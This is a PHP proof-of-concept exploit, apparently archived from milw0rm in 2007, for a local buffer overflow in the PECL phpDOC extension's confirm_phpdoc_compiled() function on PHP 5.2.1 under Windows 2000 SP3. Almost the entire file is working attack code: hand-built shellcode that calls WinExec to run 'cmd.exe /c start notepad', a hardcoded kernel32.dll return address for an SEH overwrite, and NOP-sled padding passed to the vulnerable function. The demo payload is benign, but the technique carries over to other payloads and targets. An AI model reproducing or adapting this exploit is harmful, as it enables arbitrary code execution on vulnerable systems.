46 lines
No EOL
1 KiB
PHP
46 lines
No EOL
1 KiB
PHP
<?php
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//PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc exploit
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//WIN 2K SP3 version / seh overwrite method
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//to be launched from the cli
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// by rgod
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// site: http://retrogod.altervista.org
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if (!extension_loaded("phpDOC")){
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die("you need the phpDOC extension loaded.");
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}
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$____scode=
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"\xeb\x1b".
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"\x5b".
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"\x31\xc0".
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"\x50".
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"\x31\xc0".
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"\x88\x43\x59".
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"\x53".
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"\xbb\xca\x73\xe9\x77". //WinExec
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"\xff\xd3".
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"\x31\xc0".
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"\x50".
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"\xbb\x5c\xcf\xe9\x77". //ExitProcess
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"\xff\xd3".
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"\xe8\xe0\xff\xff\xff".
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"\x63\x6d\x64".
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"\x2e".
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"\x65".
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"\x78\x65".
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"\x20\x2f".
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"\x63\x20".
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"start notepad & ";
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//eip & ecx set to the same value ...
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$eip="\x47\x30\xE9\x77";//0x77E93047 pop ECX - pop - retbis kernel32.dll
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//and further (junk...) inc edi, xor cl ch, *ja short*
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//should work on sp4 if you find an usable address
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$____suntzu=str_repeat("\x90",1393 - strlen($____scode)).$____scode.str_repeat("\x90",30).$eip.str_repeat("\x90",12);
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confirm_phpdoc_compiled($____suntzu);
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?>
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# milw0rm.com [2007-03-25]
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